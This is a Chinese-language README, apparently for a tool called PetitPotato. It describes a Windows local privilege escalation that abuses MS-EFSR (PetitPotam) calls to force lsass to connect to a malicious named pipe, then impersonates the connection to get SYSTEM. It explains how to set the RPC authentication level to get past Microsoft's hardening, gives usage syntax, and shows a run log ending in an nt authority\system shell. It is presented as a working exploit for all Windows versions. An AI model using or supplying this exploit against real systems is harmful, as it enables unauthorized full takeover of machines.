通过 PetitPotam 进行本地权限提升(滥用模拟特权)。
PetitPotam 使用 MS-EFSR(加密文件系统远程协议),该协议用于对通过网络访问的远程存储加密数据执行维护和管理操作。MS-EFSR 中有一系列与 EfsRpcOpenFileRaw 类似的 API。EfsRpcOpenFileRaw API 的语法如下所示。
long EfsRpcOpenFileRaw(
[in] handle_t binding_h,
[out] PEXIMPORT_CONTEXT_HANDLE* hContext,
[in, string] wchar_t* FileName,
[in] long Flags
);
此类 API 可以通过 FileName 参数指定 UNC 路径,以打开服务器上用于备份或恢复的加密对象。当指定格式为 \\IP\C$ 的路径时,lsass.exe 服务将以 NT AUTHORITY SYSTEM 账户权限访问 \\IP\pipe\srvsvc。
如果我们能够调用 EfsRpcOpenFileRaw API,强制本地计算机连接到我们创建的恶意命名管道,那么我们就可以模拟该命名管道客户端进程,并最终获得 SYSTEKM 权限。
但是,由于相关补丁的限制,旧的 PetitPotam 在较新版本的 Windows 上无法工作。然而,在调用 EFS 之前通过 RpcBindingSetAuthInfoW 将 AuthnLevel 设置为 RPC_C_AUTHN_LEVEL_PKT_PRIVACY 可以在最新系统上正常工作。
2021 年 12 月,微软针对一个不同的 EFSRPC 漏洞(CVE-2021-43217)发布了补丁。作为该问题修复工作的一部分,微软对 EFSRPC 通信实施了一些加固措施。具体来说,EFSRPC 客户端在使用 EFSRPC 时需要使用
RPC_C_AUTHN_LEVEL_PKT_PRIVACY。如果客户端未能做到这一点,则会被拒绝并生成一个 Windows 应用程序事件。
目前,该项目可以在所有版本的 Windows 上完美提升至 SYSTEM 权限(已在 Windows 21H2 10.0.20348.1547 上测试)。
PetitPotato.exe [EfsID] [Command]
EfsID:要使用的 MS-EFSR API 编号Command:要执行的命令C:\Users\Administrator\Desktop>PetitPotato.exe 3 cmd
[+] Malicious named pipe running on \\.\pipe\petit\pipe\srvsvc.
[+] Invoking EfsRpcQueryUsersOnFile with target path: \\localhost/pipe/petit\C$\wh0nqs.txt.
[+] The connection is successful.
[+] ImpersonateNamedPipeClient OK.
[+] OpenThreadToken OK.
[+] DuplicateTokenEx OK.
[+] CreateProcessAsUser OK.
Microsoft Windows [Version 10.0.20348.1547]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>
